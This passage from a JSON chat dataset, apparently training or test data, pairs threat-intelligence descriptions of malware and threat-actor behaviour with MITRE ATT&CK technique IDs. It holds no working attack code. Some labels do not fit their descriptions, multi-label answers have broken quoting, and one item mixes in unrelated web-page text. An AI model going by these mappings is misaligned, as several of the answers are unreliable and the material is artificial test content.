                "role": "user",
                "content": "And finally, a mention of Trojan-Downloader.Win32.CWS.j, another common site on malicious websites. This downloader is basically a small stub which downloads and installs variants of CWS, perhaps better known as CoolWebSearch. CoolWebSearch is a malicious program which was first reported circa 2003. Ever since, a huge number of variants have been found in the wild, most of them following the same pattern of hijacking the browser startup page and displaying pornographic pop-ups. Over time, CWS variants have become more and more complex and the latest versions include rootkit stealth components and retro features designed to terminate antivirus programs."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions', 'T1014 - Rootkit', 'T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Although MURKYTOP is primarily a command-line reconnaissance tool, it can also be used for lateral movement"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Confucius has dropped malicious files into the startup folder `%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup` on a compromised host in order to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As seen in Figure 7, this .NET executable uses a GitHub repository to obtain and execute a downloader. This repository is now gone, but we were able to download a copy of it while it was still available"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows can communicate using custom TCP."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ChChes can encode C2 data with a custom technique that utilizes Base64."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As you can see in Figure 1, the authentication prompt says “Connecting to &lt;redacted&gt;. 0utl00k[.]net”, which is a DarkHydrus C2 server. If the user enters their credentials in this dialog box and presses ‘Ok’, the credentials are sent to the C2 server via the URL https://&lt;redacted&gt;.0utl00k[.]net/download/template.docx. With the authentication dialog box gone, Word displays the contents of the document, which in this specific case was an empty document. While this document was empty, the authentication prompt may have made the targeted user more likely to enter their credentials, thinking it’s necessary to view the contents of the document. DarkHydrus also created their C2 domain carefully in an attempt to further trick the targeted user to enter their credentials. Also, the 0utl00k[.]net domain resembles Microsoft’s legitimate \"outlook.com” domain that provides free email services, which also make the user less suspicious and more likely to enter their credentials. Some users may not even notice what domain the dialog states they are connecting to and habitually type their Windows credentials. We found two additional Word documents using the 0utl00k[.]net domain to harvest credentials, seen in Table 1. We first saw these related Word documents in September and November 2017, which suggests that DarkHydrus has been carrying out this credential harvesting campaign for almost a year"
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "takes screenshots of the compromised system's desktop and saves them to C:\\system\\screenshot.bmp for exfiltration every 60 minutes."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ServHelper’s payload, an NSIS Installer signed with a valid digital signature (further details on the certificate ahead), is downloaded by msiexec.exe to its temporary folder (C:\\Windows\\Installer\\MSI[4-charachter-string].tmp) and executed"
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has obfuscated macros within malicious documents to hide the URLs hosting the malware,  CMD.exe arguments, and PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak has downloaded a variety of modules and payloads to the compromised host, including IcedID and NetSupport Manager RAT-based malware."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used the commands `net view /all /domain` and `ping` to discover remote systems. They also used PowerView's PowerShell Invoke-ShareFinder script for file share enumeration."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX can use API hashing and modify the names of strings to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyTurla can set its configuration parameters in the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity has been signed with self-signed certificates."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Just like Rampant Kitten, both threat groups attempted to gather information from the Keepass password manager and changed the execution flow of Telegram Desktop to ensure the persistence of their malware"
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using regsvr32.exe."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury has implemented a fallback mechanism to begin using a DGA when the attacker hasn't connected to the infected system for three days."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has run \"tasklist\" on a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NOKKI can collect data from the victim and stage it in \"LOCALAPPDATA%\\MicroSoft Updatea\\uplog.tmp\"."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During CostaRicto, the threat actors downloaded malware and tools onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can determine the operating system and whether a targeted machine has a 32 or 64 bit architecture."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kessel has collected the system architecture, OS version, and MAC address information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, it checks the running processes against a list of hard-coded process names; if any are found, the machine is forcefully rebooted"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 attempted to get users to click on Microsoft Office attachments containing malicious macro scripts."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earlier in the year, as part of an incident response investigation, we uncovered a new version of the Skimer ATM malware. The malware, which first surfaced in 2009, has been re-designed. So too have the tactics of the cybercriminals using it. The new ATM infector has been targeting ATMs around the world, including the UAE, France, the United States, Russia, Macau, China, the Philippines, Spain, Germany, Georgia, Poland, Brazil and the Czech Republic."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the ability to download and execute additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX/Shlayer has executed a .command script from a hidden directory in a mounted DMG."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A screen capture of Trickbot’s code that is structured to steal passwords from popular web browsers . It should be noted that this Trickbot variant is not capable of stealing passwords from third-party password manager applications. Screen capture of code showing possible SMB communication . networkDll32 Trickbot uses this encrypted module to scan the network and steal relevant network information. Emotet, according to previous research by Brad Duncan, is also responsible for delivering this password-grabbing Trickbot variant, as well as Azorult, to users. It's also used to inject code into its target processes using the Reflective DLL Injection technique. James’s Place Bank, and Royal Bank of Scotland, and will redirect users to fake phishing websites. Trickbot’s other notable tricks . Trickbot is usually sent via malicious spam campaigns. Defending against Trickbot’s tricks: Trend Micro solutions . Malware authors continue to update banking trojans like Trickbot and Emotet with new modules that make it more difficult to detect and combat. Users can also use shortcuts such as “M” (menus), “H” (headings), “F” (forms), “B” (buttons), and “G” (graphics) to jump to specific elements.Note: This profile prompts automatically for keyboard users. This application remediates the website’s HTML, adapts its functionality and behavior for screen-readers used by blind users, and for keyboard functions used by individuals with motor impairments. Assistive technology and browser compatibility . We aim to support as many browsers and assistive technologies as possible, so our users can choose the best fitting tools for them, with as few limitations as possible"
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Filename  Part-II.doc    File Size  10156713 bytes    MD5  e32668e569362c96cc56db368b7e821e    SHA1  dadc493abbe3e21610539e1d5a42f523626a6132    Notes Malicious RTF document that exploits CVE-2017-8570 and drops QuasarRAT file mico-audio.exe"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once a removable media device is inserted back into the first victim, USBStealer collects data from it that was exfiltrated from a second victim."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once macros were enabled on the target system, the malicious macros created two named scheduled tasks as persistence mechanisms for two backdoors on the infected system. The first named scheduled task launched an application whitelisting script protection bypass to execute a COM scriptlet that dynamically downloaded the first backdoor from APT32’s infrastructure and injected it into memory. The second named scheduled task, loaded as an XML file to falsify task attributes, ran a JavaScript code block that downloaded and launched a secondary backdoor, delivered as a multi-stage PowerShell script. In most lures, one scheduled task persisted an APT32-specific backdoor and the other scheduled task initialized a commercially-available backdoor as backup"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Assuming the victim opens the attachment, the infection process begins as described in the following section.Many of the distribution servers that are being used to host the HawkEye keylogger binaries that are retrieved during the infection process are hosting large numbers of malicious binaries and, in many cases, contain open directory listings that can be used to identify the scope of the infections that they are being used to facilitate"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pysa has the functionality to delete shadow copies."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Androrat is an open source remote management tool developed by a team of four for a university project. Open source code was upload to the GitHub website in 2012. It is a remote management tool that allows remote control of mobile devices using a computer."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Metasploit reverse HTTP payload was configured to communicate with the command and control (C2) IP address 176.126.85[.]207 with a randomly named resource such as” over TCP port 443."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port', 'T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has frequently used compromised WordPress sites for C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used gzip for Linux OS and a modified RAR software to archive data on Windows hosts."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Decrypted Config: C&C IP: 192.168.0.107 Port: 80 Sleep Timer: 30000 Campaign Identifier: Mirage If you look at it the decrypted configuration, you may notice that the IP being used for the C&C is an internal IP address"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin has renamed an image of `cmd.exe` with a random name followed by a `.tmpl` extension."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches the system for all of the following file extensions: .avi, .mov, .mkv, .mpeg, .mpeg4, .mp4, .mp3, .wav, .ogg, .jpeg, .jpg, .png, .bmp, .gif, .tiff, .ico, .xlsx, and .zip"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "an “object_id” that is a unique uuid used to identify the victim, when the value is not set in the file, it is generated randomly by the malware - a list of processes into which code is injected (iproc) - the frequency and time for task execution / backup logs / connection to the C&amp;C ([TIME]) - the IP addresses of other computers on the network ([CW_LOCAL]) - the C&amp;C server addresses ([CW_INET]) - the named pipes used to communicate with the injected library and with the other computers ([TRANSPORT"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito’s installer is obfuscated with a custom crypter to obfuscate the installer."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use known credentials to run commands and spawn processes as another user."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware communicates with its C2 server via HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly used the command \"query user\" on victim hosts."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to create a reverse shell on victims."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, BoomBox AES-encrypts the host information string above using the hardcoded encryption key “123do3y4r378o5t34onf7t3o573tfo73” and initialization vector (IV) value “1233t04p7jn3n4rg”. To masquerade the data as contents of a PDF file, BoomBox prepends and appends the magic markers for PDF to the AES-encrypted host information string above"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used a custom secure delete function to make deleted files unrecoverable."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the victim IP address, MAC address, as well as the victim account domain name."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZeroT can download additional payloads onto the victim."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER has used a tool to capture screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the DoublePulsar backdoor does not exist, then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit. After the first thread determines the local network subnet, the SMB worm scans local addresses beginning at the start of the netblock and increasing by one to the end of the netblock"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent has used \"Accept-Language\" to identify hosts in the United Kingdom, United States, France, and Spain."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RDFSNIFFER has the capability of deleting local files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack has used a decryption routine that is part of an executable physical patch."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky contains a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pteranodon can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can encrypt C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Word document delivering TYPEFRAME prompts the user to enable macro execution."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All zero-day exploits known, or suspected, to have been used by this group are for vulnerabilities in Internet Explorer and Flash"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pysa can perform network reconnaissance using the Advanced IP Scanner tool."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In october 2016 Group-IB published the report about the Cobalt group. Now, a year later, this group is continuing to attack banks, which is reported monthly by Group-IB's Threat Intelligence team. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. The former module is installed on a system that has access to the Internet and provides interaction with the C&amp;C server using HTTP/HTTPS/DNS protocols. Another module is installed even in systems that do not have Internet access, as, using SMB protocol (which is typically used within a local network), the SMB module is controlled via infected computers running the HTTP/HTTPS/DNS module. For interaction on HTTPS protocol, HTTP protocol profiles may be used with an indicated SSL certificate, but for data exchange on the DNS protocol, it requires DNS A, AAAA, and TXT records. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed"
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To install Weave Scope on the server the attackers use an exposed Docker API port and create a new privileged container with a clean Ubuntu image. The container is configured to mount the file system of the container to the filesystem of the victim server, thus gaining the attackers access to all files on the server. The initial command given to the container is to download and execute several cryptominers"
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has a tool that can run DLLs."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk has called the Windows API to retrieve the hard disk handle and shut down the machine."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
